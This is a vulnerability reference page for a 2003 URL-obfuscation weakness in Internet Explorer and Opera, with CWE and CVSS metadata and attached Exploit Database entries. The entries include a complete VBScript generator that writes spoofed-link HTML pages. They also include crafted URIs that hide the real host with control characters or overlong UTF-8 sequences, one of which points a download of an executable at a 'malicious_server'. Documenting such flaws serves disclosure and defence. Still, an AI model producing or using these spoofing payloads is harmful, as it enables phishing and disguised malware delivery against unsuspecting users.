Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-20 |
Improper Input Validation The product receives input or data, but it does
not validate or incorrectly validates that the input has the
properties that are required to process the data safely and
correctly. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
4.3 |
|
AV:N/AC:M/Au:N/C:N/I:P/A:N |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 23422
Publication date : 2003-12-08 23h00 +00:00
Author : Guy Crumpley
EDB Verified : Yes
source: https://www.securityfocus.com/bid/9182/info
A weakness has been reported in multiple browsers that may allow attackers to obfuscate the URI for a visited page. The problem is said to occur when a URI designed to pass access a specific location with a supplied username, contains a hexadecimal 1 value prior to the @ symbol.
An attacker could exploit this issue by supplying a malicious URI pointing to a page designed to mimic that of a trusted site, and tricking a victim who follows a link into believing they are actually at the trusted location.
On Error Resume Next
PromtStart = "Do you want to create a web page to exploit Internet Explorer 5.01, 5.5 and 6.0 on Windows" _
& " platforms?" & vbcrlf & "(URL Obfuscation - https://www.securityfocus.com/bid/9182)"
Ok2Run = MsgBox (PromtStart,vbyesno + vbquestion,"URL Obfuscation Web Page Creator")
If Ok2Run = vbyes Then
Do While strFileName = ""
strFileName = InputBox ("Enter the name of the web page file you want to create","File Name","TEST.HTML")
Loop
Do While strSpoofSite = ""
strSpoofSite = InputBox ("Enter the name of the site you want users to THINK they're going to:","Spoof Site","atkins.com")
Loop
Do While strRealSite = ""
strRealSite = InputBox ("Enter the name of the site users WILL go to when they click on the link:","Real Site","www.mcdonalds.com")
Loop
Do While strLinkText = ""
strLinkText = InputBox ("Enter the text you want to appear in the link:","Link Text","Go to the Atkins Site")
Loop
Err.Clear
CreateExploitPage strFileName, strSpoofSite, strRealSite, strLinkText
If Err.Number = 0 then
MsgBox "Your exploit page has been saved to C:\" & strFileName & ".",vbokonly + vbinformation, "Script Complete"
Else
MsgBox "An error occured (" & Err.Description & ")saving your exploit page to C:\" & strFileName & ".",vbokonly + vbcritical, "Script Error"
Err.Clear
End if
Else
MsgBox "Script canceled.",vbokonly + vbcritical,"URL Obfuscation Web Page Creator"
End If
Sub CreateExploitPage(strFileName, strSpoofSite, strRealSite, strLinkText)
Set fs = CreateObject("Scripting.FileSystemObject")
Set a = fs.CreateTextFile("c:\" & strFileName, True)
a.WriteLine("<HTML>")
a.WriteLine("<TITLE>Exploit Page for BID 9182 (https://www.securityfocus.com/bid/9182)</TITLE>")
a.WriteLine("<BODY>")
strExploitLine = "<A HREF=" & Chr(34) & "http://" & strSpoofSite & Chr(1) & "%00@" & strRealSite
strExploitLine = strExploitLine & Chr(34) & ">" & strLinkText & "</A>"
a.WriteLine(strExploitLine)
a.WriteLine("</BODY>")
a.WriteLine("</HTML>")
a.Close
End Sub
Exploit Database EDB-ID : 23423
Publication date : 2003-12-08 23h00 +00:00
Author : Zap The Dingbat
EDB Verified : Yes
source: https://www.securityfocus.com/bid/9182/info
A weakness has been reported in multiple browsers that may allow attackers to obfuscate the URI for a visited page. The problem is said to occur when a URI designed to pass access a specific location with a supplied username, contains a hexadecimal 1 value prior to the @ symbol.
An attacker could exploit this issue by supplying a malicious URI pointing to a page designed to mimic that of a trusted site, and tricking a victim who follows a link into believing they are actually at the trusted location.
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23423.zip
Exploit Database EDB-ID : 23465
Publication date : 2003-12-22 23h00 +00:00
Author : nesumin
EDB Verified : Yes
source: https://www.securityfocus.com/bid/9281/info
A weakness has been reported in Opera that may allow attackers to obfuscate the URI for a visited page. The problem is said to occur when a URI that is designed to access a specific location with a supplied username, contains a specially crafted sequence of characters. These characters will be interpreted as a NULL due to UTF-8 encoding. This sequence may be placed as part of the username value prior to the @ symbol in the malicious URI to aid in obfuscating the URI for a visited page.
An attacker could exploit this issue by supplying a malicious URI pointing to a page designed to mimic that of a trusted site, and tricking a victim who follows a link into believing they are actually at the trusted location.
http://www.example.com%C0%AFfake_path%C0%AFfake_filename%C0%AEhtml%C0%
[email protected]/
http://www.example.com/fake_path/fake_filename.html
ftp://ftp.example.com%C0%AFpub%C0%AFopera%C0%AFwin%C0%AF723%C0%AFen%C0%AFstd%C0%AFow32enen723%C0%AEexe%C0%80:password@malicious_server/ow32enen723.exe
ftp://ftp.example.com/pub/opera/win/723/en/std/ow32enen723.exe
Products Mentioned
Configuraton 0
Microsoft>>Internet_explorer >> Version 6.0
References